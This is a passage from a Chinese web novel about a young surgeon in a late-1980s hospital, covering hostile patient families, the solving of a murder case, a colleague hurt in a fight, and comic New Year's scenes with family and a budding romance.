不过看到陆嘉述和王敏对死亡的态度,南栀反倒能释然一些,她们三人是好朋友,她们有高度一致的思想,舒教授一定不会害怕死亡,反而会坦然接受。 既然舒教授现在状态还好,那她也该多努力。 南栀说:“希望我到时候不会太伤心。” “那种感觉,真是难以形容,一天前还在和你说话的人,就在你眼前走向死亡。脉搏、心跳、能证明他存活的一切都在消失。” 南栀问:“你已经做过手术,而且遇到死去的患者了?” 魏联点头,“我以前是在消化外科,那个孩子有很重的先心病,身体没一处器官是完好无损的。” “这种情况很难治疗。” “是的,我当时给主任做助手,他离开那天……我妈也手术失败,去世了。”魏联看向南栀,“我妈是心脏病,我给她找的医生,如果不做手术,她或许还能多活几天。” 南栀道:“抱歉,但是你选择给阿姨做手术的初衷,是希望她能活得更久。” 魏联点头,“的确是,其实当时我已经不怎么相信外科手术,但是我妈的病很严重,没办法。” “当时就不信了?” “我爸,我爸也死在手术台上,我估计我将来也会死在台上。”魏联笑道,“这样一家三口才能团圆。” 南栀终于理解魏联为何抵触外科手术。 在他父亲手术失败的情况下,他仍然选择为母亲博一条出路,可是希望再度破灭。 他看着患儿失去生命体征时,他的母亲大概在经历相同的事。 南栀乖乖道:“不好意思啊,以后我不会再提了。” 魏联白了她一眼。 他还是比较介意南栀叫他“小魏”这件事。 他混了好几年才从小魏变成魏医生!! 魏联说:“不过你们说得都对,手术嘛,肯定有风险,我就是医生,我肯定知道,只不过我运气不太好,每次都刚好停在风险上。现在的外科医生太少了,我想,也许我还能再做点儿什么?” 他朝南栀伸出手,“不过我的目标可不是做你的助手。” 他将来是要做主刀的! 张晓乐的家属已经赶到医院,也就是南栀曾经见过的张玲玲的父母。 他们得知张晓乐出车祸,情绪更加激动,一看到南栀就扑过来,南栀都没机会开口说出“手术成功”四个字。 “我们不在这里治疗!”张玲玲的父亲吼道,“快把孩子还给我们,我们不在救杀人犯的医院治疗!” 南栀说:“手术已经做完,需要我恢复原状吗?” 张父:“……” 南栀紧张道:“这种活儿我没做过,可能技术不太好,你们别介意,我会努力恢复原状,尽量不改变的。” 张母:“……” 魏联惊呆了。 不是,南栀都这样和患者家属说话的吗? 凭什么被骂的总是他啊!!南栀这不更过分吗?! 张父改口道:“做过的就算了,我们现在转院。” 南栀道:“这也不太行哦,他需要留在ICU监护,还要再做其他检查,我怀疑他心脏可能有些问题,如果需要做手术,我们医院的心外是临川市最好的。” 魏联低声问:“最好的心外不是恩德吗?” 南栀惊讶道:“他们还没倒闭啊?” 魏联:“……” 到底是谁说他说话气人的?? “那也不做!”张母说,“你们这种杀人医院,我们一天都待不下去,我们要转院!” 南栀点头:“签字就行。” 张父警惕道:“签什么字?” “就是证明我们医院挽留过你们,但你们坚持要转院,在转院途中以及转院后,张晓乐出现任何情况,都与我们无关。只要签好字,你们就可以走啦。” 南栀的语调相当轻快。 魏联:“??” 这不气人吗?! 尚延凭什么只说他?! 张父和张母都不作声了。 南栀叫来ICU的护士,将刚刚的话又叮嘱一遍,“不能让他们直接走,必须签字再走,我还有事,不能守在这里等了。” 南栀乖巧地和张父张母说再见。 两个老人:“……” 魏联:以后要向南栀学习!! 南栀心里还惦记着陆随。 她撇下其他人,去ICU找到许斌,现在只有一个警察守着许斌,许斌的状态似乎还不错。 警察说:“罗队把申树抓到了,这会儿正在审,申树想杀许斌,没成功。” 南栀松口气,“还有其他情况吗?” “没了,申树太天真,我们肯定一直守着许斌,他哪有下手的机会?不过他好像状态不好,听说罗队抓到他的时候,他已经受伤了。” 南栀微怔,“他和人打过架?” “不知道啊,他没说,”警察说道,“罗队找到他时,只有他一个人,应该是练拳击时伤到的。” “拳击?!” 警察 笑道:“对啊,他以前练过拳击,还挺厉害的,参加过市里的比赛。” 南栀:“……” 感觉不太妙…… 离开ICU,南栀立刻给陆随的办公室打电话,接电话的是箫珵,箫珵表示晚上一直没见到陆随。 但南栀记得很清楚,今天陆随没打算回家。 许斌还没脱离危险,他不会走。 箫珵赶过来找南栀,“他不见了?” “还不知道,家里也没人接电话,唉,他自己一个人住本来就挺危险的。” 箫珵欲言又止。 一个人住危险在哪里? 南栀:“说不定有人觊觎他。” 箫珵:“?,他有什么好觊觎的?” 南栀苦恼道:“而且他还总感冒,身体也不好,陆教授不在,他最好还是找人一起住吧?” 箫珵:“?” 如果没记错的话,他记得陆随正值壮年? 箫珵问:“你能不能不要把陆随想得太弱?” 南栀紧张道:“可他长得好看啊,还很正义,坏人肯定讨厌他。” 箫珵:“……” 人,不该恋爱,没脑子。 南栀去找ICU的护士打听陆随的行踪,陆随肯定会去看许斌。 护士道:“陆医生来过,刚下班的时候吧,来叮嘱我们看紧许斌,受害人家属可能想对他不利。之后他就走了,应该是回家了。” 陆随知道申树想对许斌下手? 如果知道,那就更不可能走。 南栀很不安,“申树身上有伤,会不会和陆随有关?” 箫珵道:“申树参加过拳击比赛,陆随能伤到他?” 兄妹俩对视一眼,异口同声道:“不可能!” 陆随嘛,身!娇!体!弱!不可能。 南栀只能在楼里继续晃悠。 箫珵见到人就问:“看到心外的陆医生了吗?” 一直晃悠到护士站,才有人回应,“陆医生晚上去过休息室。” “恩?护士的休息室?” 护士点头。 箫珵:“这个变态!” 另一个护士走过来,“他还找我拿过钥匙,说是休息室进人了,这怎么可能?” 箫珵收回“变态”二字。 南栀拽着箫珵跑到三楼休息室。 休息室里仍然没人,护士们也只能抽午休时间轮流来休息。 南栀后退一步看向隔壁虚掩的门。 休息室和更衣室挨着,这点其实挺人性的,好歹没让护士直接挤在休息室换衣服。 不过也可能是休息室里堆的东西太多,实在没落脚的地方。 南栀走向更衣室,推开门。 更衣室没开灯也没窗户,里面黑黢黢的。 箫珵说:“人在的话会开灯吧?” 南栀的鼻子动了动,“血腥味。” 开始做手术后,她对血腥味道格外敏感。 现阶段儿科手术讲究快速,出血量相对更大,南栀总担心出血量太多会出事,所以格外重视。 箫珵立刻打开灯。 在窗户下、长椅旁,躺着一个白大褂。 南栀立刻走过去,果然是陆随。 他脸上、身上都有不同程度的伤,应该是和申树扭打过。 至于他为何会晕倒…… 南栀紧张地查看陆随的头,“不会撞到头了吧?” 箫珵说:“恩,你又有机会练手了。” 南栀:“……” 说话间,陆随睁开眼。 南栀立刻问:“感觉怎么样?头晕吗?会不会想吐?先去做检查吧?” 有可能脑震荡。 陆随先看南栀,接着又看箫珵……他不太想看到箫珵,于是迅速收回目光。 陆随坐起来,打了个哈欠,“先去急诊,得包扎。” 申树那家伙实在不够敞亮,先是和陆随扭打,后面见一时无法摆脱陆随,竟掏出刀子。 陆随的手臂的小腿都有不同程度的划伤。 南栀道:“你的头……你不是被打晕了吗?” “晕?没啊,”陆随说,“是晕了一会儿,醒来以后太疼了,没站起来,有点儿困,就睡了。” 箫珵:“……” 合着刚才是在睡觉? 南栀严肃道:“困就不对劲,正常人会在这时候困吗?必须去做检查!” 倒霉的神外主任庄鸿被迫去给机器开机。 怎么说呢,这些检查都只有白天能做。 但陆随一受伤,连争都赶过来了,庄鸿还能说什么?他只能乖乖听话。 一套检查做下来,陆随的头倒是没什么事,但其他部位伤得挺重,他的手臂、腿,还有腹部都能看到明显的瘀青。 南栀压着陆随住院,“必须休息几天,这几天你也别担心科室的事,都交给我哥。” 箫珵:“呵呵。” 好妹妹。 南栀说:“你家人都不在,我来照顾你好了,要去借轮椅吗?” 陆随不太想住院。 受点儿皮肉伤而已,器官又没问题,没住院的必要。 但在南栀的强压下,他只能乖乖点头,然后拒绝南栀借轮椅的提议,“我还是能走的。” 连争对陆随表达关心后离开。 韦宁雨和祁念珍紧紧跟在他身后,“院长,第一啊院长,第一!” 箫珵问:“什么第一?” 南栀说:“听说咱们医院已经是全国第一的水平了。” 陆随:“?” 他晕了一百年? 第95章 第95章抢孩子 申树虽然没对许斌下手,但和陆随起冲突是事实,罗鸣终于找到把人扣下的理由,当然不会放人。 起码要等案件有进展,再考虑如何处理申树。 心外科原本高高兴兴在庆祝许斌手术顺利,现在也偃旗息鼓。 许斌与命案有瓜葛,的确不该张扬。 心外主任特意安排陆随去休息两天。 张晓乐后续还有一大堆检查,术后第二日便查出房间隔缺损。 房间隔缺损是先天性心脏病,张晓乐是继发性房间隔缺损,儿童时期缺损小,分流量也小,没有任何症状。 随着年龄的增长,才出现气急、乏力的现象,这种情况已经持续一段时间,张晓乐还没和家里人说。 张晓乐的情况已经无法自然闭合,符合肺循环量与体循环量之比大于1.5:1的手术适应症。 张晓乐的父母情绪就没平稳过。 “你们说他心脏有问题,他就真有?这孩子一直好好的,哪来的心脏问题?” “到底是要给他治病,还是要害他?是不是我们说你们的医生,你们不乐意了?!” 情况特殊,医务部的韩阅松赶过来一起调解。 康宁医院的医务部基本上就是做杂活的,哪里需要这块砖,他就被搬到哪里。 韩阅松一连开了几次口,都被张父吼回去,“你们就是居心叵测!想拉我儿子赔命!” 他们毕竟刚刚失去女儿,嫌疑犯又是在康宁医院接受治疗,大家多少都能理解,和颜悦色地劝道:“您可以带着孩子去其他医院接受治疗,这些都没问题,只是不能放任不管。” “当然要去其他医院!等他好一点儿我们就走!你们医院的心外,我绝对不会来!” 韩阅松说:“不过最适合给张晓乐动手术的,就是我们医院的心外科。” 张父:“凭什么?!” “如果心外科差劲,陆医生就没机会给许斌做手术,我们之间也不会有瓜葛。不就是因为手术只有陆医生能做?” 张父:“呵。” 南栀劝道:“尊重他们的选择,没关系,房间隔缺损而已,现在没法做介入,只是要开胸手术嘛,小手术。” 张父:“……” 南栀说:“全麻而已啦,问题不大。” 张母:“……” 南栀:“手术不用挑医生的,只要是能上台主刀的,肯定都学过。” 张父:“那当然……” 南栀问:“不过为什么学校有成绩好的学生也有成绩差的学生?奇怪哦,大家学得不都一样吗?” 张父:“……” 南栀投给二人信任的目光,“小手术,没问题!” 张母:“……如果是其他医生做手术,我们也能接受。” 张父小声问:“其他医生的水平和陆医生一样? ” “反正我不同意姓陆的给晓乐做手术!他和小树刚打过架,谁知道他会不会报复!” 南栀纠正道:“不是打架,是陆医生单方面被殴打。” 张母:“……小树也浑身是伤!” “是吗?”南栀惊讶道,“这就怪了,申树不是练过拳击吗?” 她家陆医生可是体弱易推倒的,还能伤到申树哦? 张父把妻子拽走,“反正我们不同意姓陆的开刀,还有其他医生吗?” 南栀说:“如果萧医生有时间,可以由萧医生主刀。其实我们没有特别留你们哦,你们想去其他医院做手术也可以的。” 张父:“……” 话都让她说了,他们还说什么? 怎么会有如此恶毒的女人! 张晓乐运气不太好,但也不错。 手术第二天便醒了过来,一切指标均正常。 张晓乐醒来后,情绪一直不稳定,护士把庄鸿叫过去。 庄鸿:“……” 是他动的手术吗? 在庄鸿的嫌弃下,护士又灰溜溜地去给南栀打电话。 南栀先检查了张晓乐的情况,“没什么问题。” 护士说:“可他一直在找什么。” 张晓乐目光乱瞟,手一直在动,但因刚做完手术,没法动得太远。 南栀低声问:“你有话要说?如果是,就眨眨眼睛。” 张晓乐费劲地合上眼又睁开。 南栀问:“可以写字吗?” 张晓乐再次闭眼。 护士找来纸笔。 张晓乐拿笔时,手一直在抖,南栀轻轻拖住。 他努力在纸上写字。 庄鸿凑过来看,主要是看张晓乐的脑袋,“修得不错啊,这脑子还能用?” 护士:“……” 难道不是说没法做颅脑损伤手术的庄鸿更离谱吗? 护士回到护士站。 护士长问:“庄主任搞明白了?” “庄主任可是一点儿用都没有,”护士吐槽道,“咱们医院的神外真是丢人。” 护士长笑道:“不是有南医生吗?我看她手术做得真不错。” 护士长身经百战,哪位医生手术做得好,一眼就能看出来。 “这倒是哦!”护士有点儿小激动,“南医生真的很厉害,我记得她以前不是做神外手术的,感觉她什么手术都能做,真有这种手术天才吗?唉,可惜了,人家是儿科的,也不是神外的。干嘛非得做什么小儿神外呢,她去神外,再给孩子们做手术也是一样的啊。” “我也不清楚,但细分儿科,听起来很科学。” …… 张晓乐在纸上写下了三个字。 写得比较飘,看起来不像汉字,南栀盯着他的笔画看,能认出“药”“王鑫”三个字。 南栀问:“你和王鑫有接触?” 张晓乐眨眼。 “你说的药是什么,王鑫给你吃药?” 张晓乐似乎有些急,眼睛不知该怎么动。 南栀问:“王鑫给别人吃药?张玲玲?” 张晓乐拼命点头,氧气罩也跟着抖。 王鑫给张玲玲吃药,这种事也很奇怪。 南栀把目前已知的线索重新在脑中梳理一遍,问:“你真的看到许斌杀人了吗?” 张晓乐眨眼。 “时间地点都没有撒谎?” 他依然眨眼。 现在最矛盾的点就是,张晓乐见到许斌杀人时,许斌有明确的不在场证明。 要么是时间错误,要么是……人物错误。 但张晓乐现在只能通过眨眼的方式来回答,无法问得更细致。 南栀想了半晌,问:“你确定看到的是……” “许斌的脸?” * 根据张晓乐的证词,罗鸣找到张晓乐关系好的朋友,朋友证明曾有人给张晓乐五百元现金。 八十年代末的五百块,南栀好几个月的工资。 给钱的人就是王鑫。 王鑫让张晓乐给张玲玲带药,说是治疗失眠的药,张晓乐全部交给张玲玲。 张玲玲的确失眠,但她怀着孕,不敢乱吃药,张晓乐说这是医生朋友开的,张玲玲才敢吃。 这也是王鑫的说法,张晓乐为了五百块钱信以为真。 直到姐姐遇害,张晓乐才发现不对劲,当时他已经把钱全部花光,不敢告诉大人。 罗鸣来陆随的病房告知结果,“王鑫真是个硬骨头,所有审讯方法全都用上,她都没招,还是她弟弟来指证说她嫉妒张玲玲怀孕,她被家里人抛弃,心里恼火才说漏嘴。” “嫉妒怀孕?” “是啊,王鑫刚毕业就嫁给许斌,当时是因为许斌对她好,让她有安全感,但结婚之后就不是那么回事了,许斌这人毛病一大堆,还结过婚,前妻就是受不了他才离婚的。王鑫和张玲玲是同学,张玲玲嫁给申树时,王鑫没少笑话她,申树穷嘛,许斌的经济条件好歹不错,结果她和许斌越过越差,另一对越来越好,她心理不平衡。” 箫珵说:“不平衡就杀人?也太恐怖了。” “她长期被家人忽视,没人爱护她,也没人引导她的恋爱观,她才会对比自己年纪大很多的人动心。结婚后许斌又赌博,还会动手打人,她是把对生活的不满全部放在张玲玲身上。” 张玲玲怀孕后,王鑫更加生气。 她和许斌也在备孕,但一直没能怀上孩子,原本还有一个同样不孕的张玲玲垫背,现在连张玲玲都有孩子了,她接受不了。 命案发生前,王鑫就一直挑唆许斌对张玲玲下手,说是张玲玲怀孕,抢了他们的孩子。 许斌倒是不太聪明,但他胆 小,有贼心没贼胆。 命案当日,张玲玲去看望王鑫,王鑫认为她是去炫耀的,怒火中烧,送张玲玲出门后偷偷跟踪她,到没人的胡同后将她杀害。 张晓乐和王鑫约好去拿药,王鑫忘记这件事,张晓乐刚好目击到她杀人。 张晓乐离得不近,他甚至没意识到倒在地上的是姐姐,只记得王鑫身上的衣服,他在王鑫家中看到过,是许斌的衣服,于是许斌的形象和他记忆中的杀人犯结合。 南栀说:“夫妻二人不怀孕,可能是男方的问题,也可能是女方的问题,或者是这两人不合,可现在好像都默认是女方的问题。” 阮乔笑嘻嘻道:“我妈说了,报社、电视台的领导都是男的,出了事先推给女人呗,就这样宣传。” 罗鸣:“……” 他紧急回忆过去有没有推卸过责任。 应该没吧? 陆随和箫珵已经习惯类似话题,不会和罗鸣一样代入自己。 南栀说:“反正我是不会为了要孩子做试管的,太遭罪。” 箫珵道:“谁敢让你去做,我揍他。” 陆随:“……看我干什么?” 以前只说他体弱,现在还得再加上一条不育了?? 锅有点儿沉,他快背不动了。 阮乔问:“试管是什么,医院能做?” 南栀:“……” 现在好像也不太能。 箫珵还有疑问,“申树怎么办?” 他是真的想对许斌下手,也是真的和陆随打了一架。 罗鸣道:“王鑫跑不了了,申树答应等判决结果,至于要不要拘留,得看陆医生的意思,他们家当然希望能够和解。” 陆随说:“我无所谓。” 南栀和箫珵沉思道:“其实有一个问题困扰我很久。” 陆随:“?” “陆随怎么会伤到申树呢?” 一个弱不禁风,一个练过拳击。 陆随:“……” 有没有可能弱不禁风是他们想象的? 南栀说:“或许是陆随被打趴下后,抱住申树的腿,申树是被绊倒才伤到自己?” “也有可能是申树情绪失控,打到一半累了,比如蹲在地上哭嚎,陆随趁机捡漏。” 陆随:“……” 他就不能是凭本事打到申树的吗? 罗鸣含笑道:“恐怕不可能,他身上的伤,一看就是互殴。” 陆随真心实意道:“罗警官,我一直认为您是个心思细腻的警察,果然不同凡响。” 这回轮到南栀和箫珵安静。 两人安静好半天,南栀说:“你这样子,我真和你结婚,你打我,我也打不过你啊。” 箫珵说:“家暴绝对不行。” 陆随:“!!” 他到底为什么要去家暴!! 罗鸣听着都无语,“你们是结婚,又不是报名拳击比赛,你管他打架厉不厉害干什么?而且我看你这肌肉,不像是会挨打的。” 南栀年轻,长得比较白净,看着挺像小姑娘的。 但她一抬手罗鸣就惊了,怎么说呢,增肌也是要天赋的。 箫珵反应过来,“对啊,为什么怕挨打?” 南栀说:“我记得我妈就挨过打啊,你不在的时候,他们经常打架。” 箫珵:“……” 他以前确实不知道。 在他印象中的父母,甚至挺开明的。 “不知道”让箫珵更加愧疚,他安慰道:“他们是不正常的关系,你不会经历这种事,如果陆随敢动手,我们帮你把他解剖了。” 阮乔赞同,“对,把心脏挖出来喂狗。” 陆随:“……” 所以说他到底为什么会家暴啊?! 箫珵怕南栀钻牛角尖,还想再劝几句,南栀却无所谓地耸耸肩膀,“我都记不清了。” 在首都时想起来过,但没过多久又不太记得了,这回南栀搞明白了,可能是她给自己的心理暗示太强烈,现在她又忘了。 这样也蛮好的,心里会轻松很多,南栀可不想总是怨天尤人。 陆随:“……” 无所谓,但认准他会家暴。 哈哈。 两日后,陆随出院。 张家人再三考虑后,提着果篮来给陆随送礼,“我们想过了,许斌的手术您能做,证明您确实有本事,晓乐的手术还是得要经验丰富的医生来做才行。” 南栀正好在心外闲逛,指着陆随的胳膊说:“青的,现在还没好。” 张父:“……是小树不懂事,我们已经批评过他了,他也是太想念玲玲,别和他一般见识。” 南栀又指着陆随的腿说:“瘸的,走不了。” 张母:“咳,我们打听过了,陆医生已经上班了,医药费我们来出。” 陆随道:“医药费就不必了,希望你们不要再和医生过不去。” “那当然那当然,”二人说,“我们长记性了,绝对改。” 陆随让他们把果篮带走。 箫珵全程面无表情。 他比陆随差哪了?不就是没给许斌动手术嘛?怎么还被嫌弃了?! 他果然看陆随不爽! 事情了解,陆随轻松不少。 该做的手术还是要做,还真要给他们一起上法庭的机会。 不过动手杀人的虽然是王鑫,许斌却也参与了后续工作,为了掩盖王鑫的罪行,许斌和张玲玲的尸首发生关系,伪装成男人做的。 这两人都有罪,都可恶。 警方终于从医院撤走,医院过了几天太平日子。 再过几天就要过年,医生们虽然放假,但每天都要有人来值班。 过年期间也是心血管疾病的高发期,喝酒吃肉的人会增多。 陆嘉述同志留在首都陪舒映阶,陆随要独自过年。 黄春兰招呼南栀去叫陆随到家里过年。 今年黄夏兰、黄秋兰都会来家里,南栀还没体会过热闹的年味,当然得把陆随喊来体验体验。 箫珵愤愤不平,“为什么他能去,我就不能去?” 他现在的爸妈对他也很好,但一见面就要他去相亲结婚生子。 他拗不过两人,和人家女孩子见过面,见面第二天他爸就问他打算什么时候办酒。 这速度堪比火箭。 陆随淡定道:“你去不就坏事了吗?” 第二天南栀就会成为整条胡同的话题人物——医院医生过年竟同时带两个野生男人回家,这是道德的沦丧还是道德的沦丧? 箫珵含恨放弃。 南栀家过年,氛围感是最重要的。 黄春兰一早就做了糨糊贴春联,南明杰把糖块、瓜子花生摆在桌子上,奶奶还偷偷溜出去捡了两个人家掉的炮仗。 黄夏兰和黄秋兰也在,人太多,家里都快放不下。 陆随只能和南栀在房间里躲清闲。 现在南栀睡觉不需要锁门了,她都没注意到自己习惯上的改变,还是陆随发现她的房间已经恢复正常。 南栀在书桌前算自己几号值班。 她和陆随都是初二值班,另外几天假期可以出门去逛逛。 临川市也没什么好逛的,但假期难得,南栀想充分利用起来。 有很多杂志在临川市买不到,南栀想去省会走一圈,也瞧瞧省会的医院是什么水平。 陆随坐在门口看书。 南栀道:“你如果累了,就躺下休息一会儿。” 陆随看向南栀的床:“……不妥吧?” “这有什么不好的,”南栀说,“你换睡衣也行。” 陆随:“……” 她是一点儿都不见外。 陆随可放不开。 尤其他现在只有秋衣可穿,被周围人感染,秋衣的袖子稍微脱线,他也没舍得换新的。 等百货大楼一开门,他就去买睡衣。 咳,万一要脱呢? 孟闵推开门闯进来,“你们躲在房间里干嘛!我妈她总让我干活,你俩怎么不干活?!” 黄夏兰在门外嚷道:“别耽误南栀和小陆!人家在学习!你好好跟人家学学!” 孟闵很委屈,“这叫学习?这是学习吗?!” 一个邀请另一个去床上,这叫学习?! 陆随起身道:“不学也行。” 南栀叹气,“太耽误事了。” 黄夏兰的声音更加暴躁,“再闹腾我就剁了你!!” 孟闵:“……” 这俩绿茶! 孟闵现在人在康复科,帮助患者重新回归正常生活。 他也不知道自己怎么喜欢上这一行的,每次看到一瘸一拐进来的人好好地走出去,他就特别有成就感。 当然,偶尔也会有没法好好走出去的。 孟闵不服气,“你们知道我主任是怎么夸我的吗?他说我是进步最快、悟性最高的,将来我就是我们科室的主任,不比你们厉害?” 孟闵看着陆随。 不对,这个是心外的,心外的医生不好招惹。 孟闵看向南栀。 南栀说:“我刚做完手术,看脑子的,你也要看看脑子吗?” 孟闵:“……” 这个也不好惹。 孟闵再次看向陆随。 陆随提醒道:“八厘米的动脉瘤……” 孟闵:“……” 为什么大家都比他强? 难道他就这么差?! 孟闵的心情跌落谷底。 但也只在谷底待了一秒钟。 他孟闵怎么可能会差?一定是他找的对象不对。 干嘛非得找厉害的比? 孟闵走出大门,拽住在屋檐下和稀泥的五岁小朋友,“我,护工,最牛,你行吗?” 小朋友露出傻乎乎的目光。 孟闵:“我就说我才是最厉害的!!” 南栀家人对陆随的接受度很高,饭桌上的统一话题就是催他 俩赶紧结婚生孩子。 南栀:“结婚?” 陆随赶紧说:“不着急。” 南栀:“生孩子……” 陆随说:“工作忙,还伤身体,不考虑。” 南明杰苦大仇深道:“怎么能不考虑,你得为陆家传宗接代啊。” 陆随道:“没事,我家没皇位。” 南明杰:“?” 现在年轻人说话,都听不懂了。 南明杰成功迎来亲妈一顿暴揍,“人家两个要拼事业,你当所有人都和你一样,会下地干活就行了?你看看人家春兰,人家都看了多少书了?全家就你没文化!” 南明杰:“……妈,您不是不认字吗?” 奶奶说:“我都多大年纪了,你跟我比?!” 南明杰:“……” 双标! 吃过饭,黄春兰催南栀和陆随出去逛逛。 南栀不同意,“今晚年三十,大街小巷都没人,没什么好逛的。” 黄春兰:“去公园走走嘛,年纪轻轻闷在家里做什么?” 南栀:“我喜欢待在家里啊,一会儿我还想睡午觉。” 黄春兰拿起擀面杖。 南栀:“陆随!我们走吧!好想出去逛逛啊!” 陆随:“……” 被赶出家门的南栀很郁闷。 平时医院工作太忙,动不动就加班,难得有时间瘫在家里,还得被迫去逛公园。 “公园到底有什么好逛的?”南栀不理解,“肯定有很多小朋友。” 她平时在儿科已经见到太多小朋友,不想再增加负担。 陆随提醒道:“可能是想让我们增进感情?” “对哦。” 她和陆随的事,确实得抓紧时间,总耽误人家也不好。 南栀问:“我们到哪一步了?” 陆随:“牵手。” “牵手下一步是什么?” “拥抱?” 于是南栀走到陆随面前抱了他一下。 “再往后呢?” 陆随:“……再往后好像不是能在街上做的事。” 南栀道:“好吧,等晚上回家再说,先去逛逛。” 两人离开。 旁边小卖部的老板瓜子皮掉了一地,“这俩人在干嘛??” 另一人说:“应该是……特务活动?” 伪装情侣?? 南栀和陆随选择去还没关门的百货大楼。 百货大楼今天营业到下午两点钟。 不得不说比后世一定要坚持到五点下班的企业强多了。 陆随紧急买了一套睡衣。 南栀穿得比较随意,家里烧柴火,不冷,她找个宽点儿的T恤或是裙子就能睡觉。 陆随给南栀挑了两套衣服,外加护肤品。 他听以前的舍友说,谈恋爱时是要给女朋友送护肤品和化妆品的,必须送大牌,不能贪小便宜。 陆随倒是想送大牌,但整个百货大楼他只认识雪花膏,还是因为陆教授常年擦这东西。 陆随说:“你自己挑,我付钱。” 南栀:“护肤品……都有什么?” 两个平时只会学习的人站在百货大楼里不知所措。 好在南栀运气不错,遇到和杨芬一起出来逛街的阮乔。 阮乔手里还提着一袋新鲜的猪肉。 她搂着南栀的肩膀说:“猪肉终于不限量了,我多买点儿回家练手,我敢保证,这块皮是最好的皮!” 杨芬笑道:“她之前练习的那块肉皮,全都是针孔,臭了还不舍得扔。” “这块猪肉我绝对利用好!在它臭前把它吃掉!” 杨芬说:“猪听了都要后悔自己生下来。” 阮乔撇撇嘴,问南栀,“你俩跑到百货大楼做什么?” 南栀说:“买雪花膏。” 陆随紧急辟谣,“想买点儿好的,但我们不知道有什么。” 好险,差点儿就成抠男了。 阮乔大手一挥,“走,我带你们去买!” 在两点之前,南栀拥有了五套全新的衣服,两套完整的化妆品。 南栀看到将近有三十个颜色、五彩斑斓的眼影盘,差点儿晕倒。 “这是往眼睛上涂的?!” “都是常用色嘛,你看这种比较夸张的颜色,烟熏妆!” 陆随和南栀蹲在地上研究眼影盘。 “绿色的是干什么的?” “画……绿帽子?” “紫色呢?” “假装中毒?” “这里还有红色。” “爱国??” 阮乔:“……” 没有时尚感的家伙们。 逛完百货大楼,几个人闲着没地方可去。 南栀想来想去,好像也只有一个地方比较吸引她。 “要不回医院看看?” 陆随:“好啊。” 阮乔:“……” 他俩真的有病吧?! 上班还没上够吗?! 杨芬女士先回家里,把阮乔派给南栀和陆随。 张晓乐接连做大手术,目前还没出院,南栀比较关心他的状态。 许斌已经出院,但他出院后就被接到局里,罗鸣的意思是,以后可能还需要陆随帮忙,他怕许斌再犯病。 南栀去病房转了一圈,儿科住院部病人比较少,难得安静。 南栀浑身别扭,“怎么没人哭也没人闹,不吉利呀。” 陆随:“……” 被荼毒得挺深。 三人离开医院,阮乔松口气,“一来医院我就呼吸不畅。” 她认为这才是上班狗该有的状态。 再看南栀和陆随,一个个容光焕发,好像重新补满了能量。 阮乔说:“我坚决不和你们同流合污!” 太恐怖了! 陆随拎着东西,和南栀讨论接下来的目的地。 阮乔站在旁边听了会儿,惊悚道:“你们是在约会?!” 南栀说:“当然啦,我们得试着接触啊,说好了的,一步步慢慢来。” 阮乔:“!!” 谁会跑到工作岗位上约会! 阮乔试探问道:“那你们进展到哪一步了?” 南栀说:“拥抱。” “……感觉怎么样?” “还好啊,不会抵触了。” “……那接下来?” 南栀说:“陆随说接下来的事只能回家做。” 阮乔:“!” 渣! 阮乔道:“你别想把我们栀栀骗走!” 陆随果然居心叵测! 阮乔正想揭穿陆随的阴谋,衣摆被一只脏兮兮的小手拽住。 阮乔低头一看,一个穿着漏棉黑袄的小女孩抬着小脸,可怜兮兮看着她,“姐姐,能给我点儿东西吃吗?” 小女孩看起来是乞丐,头发已经许久没有打理,乱蓬蓬的,但是能看到一根红色的头绳。 她小脸黢黑,全都是灰泥,指甲盖的颜色都被盖住。 陆随从刚买的东西里找出面包递给她,“先拿着吃。” 南栀问:“你一个人吗?爸爸妈妈呢?” 女孩的心思全在面包上。 她朝南栀摇摇头,然后抱着面包跑了。 阮乔道:“她怎么跑了?我还想再找点儿吃的给她呢。” 南栀看着她的黑袄说道:“她的衣服很薄,棉花几乎都跑光了。” 陆随道:“刚刚买了件外套,先给她?我再给你买一件。” 南栀点头。 三人追着小女孩跑去。 路人:“……光天化日之下就抢孩子??” 南栀叫了几声,小女孩听到后非但没有停下,反而跑得更快。 而且还格外注重是否有人跟着她。 南栀原本只是想把外套给她穿,冬天冷,她穿得薄可能会被冻死。 可现在看到女孩的反应,南栀有些奇怪。 面包而已,还是他们给她的,为什么要躲来躲去? 南栀示意陆随和阮乔安静,三人偷偷摸摸跟踪她。 路人:“……真要抢孩子?!” 于是,女孩身后的人更多了。 第96章 第96章安静 大年三十的下午,临川市街上出现诡异的一幕。 脏兮兮的小姑娘抱着面包在前面跑,身后跟着三个二十多岁的年轻人。 再往后的人就统计不过来了,正好大部分人都放假了,闲得没事来凑热闹。 “前面在干嘛?” “要抢孩子。” “你说错了,是要抢面包!” “啥?!抢乞丐的面包?!” 恶行令人发指! 阮乔渐渐察觉出不对劲,“我怎么觉得身后的人都是冲我们来的?” “不会吧,哪有人这么无聊。” 南栀停下来回头看。 这一大帮人也停下来。 南栀:“……” 真有。 走在最前面的两个人来问话,南栀才发现他们的行为造成一些误会,赶紧解释一遍。 等人群散了,他们再想去找小女孩,人已经抱着面包跑没影了。 阮乔说:“以前没留意过乞丐,她应该就在附近转悠。” 虽然他们都害怕冻着小姑娘,但也只能如此。 晚上,南栀第一次和家人过春节。 以前在福利院,也会和老师、小朋友们一起过春节。后来念书了,南栀也经常回去,除了福利院她好像也没可去的地方。 现在好了,陪在她身边的都是她爱的人。 从这个角度看,穿来也不错,她还拥有了一个家。 吃过晚饭,黄夏兰打开刚搬来的彩电,电视里正播放联欢晚会。 黄春兰拿着和好的面进屋,按照习俗,他们会一边看晚会一边包饺子。 南栀和陆随刚包了两个,孟闵就拿着鞭炮偷偷走进来,“放两个?” 南栀道:“这都是小孩子玩的。” 他们是成熟的大人 了。 孟闵说:“我们把鞭炮拆开,挨个放,我看人家用水桶扣住鞭炮,声音可响了,比二踢脚都响。” 南栀看向陆随。 黄夏兰骂道:“就你没个正事,人家俩踏踏实实的,才不会跟你瞎胡闹!” 南栀道:“出去看看?” 黄夏兰:“……” 坏了,好孩子要被带坏了。 南栀和陆随跟着孟闵出去放鞭炮,身后还跟着一群胡同里的小孩。 夜色虽浓,但鞭炮声此起彼伏,呲花暗了又起,照亮天明。 小孩儿们不太听话,抢到鞭炮就要徒手放,南栀把鞭炮藏到身后,“知道我是做什么的吗?” 一大帮小孩看着南栀。 南栀说:“我是儿科医生,专门往你们屁股上打针的!” 这下没人敢来抢了。 南栀和陆随放了一晚上鞭炮。 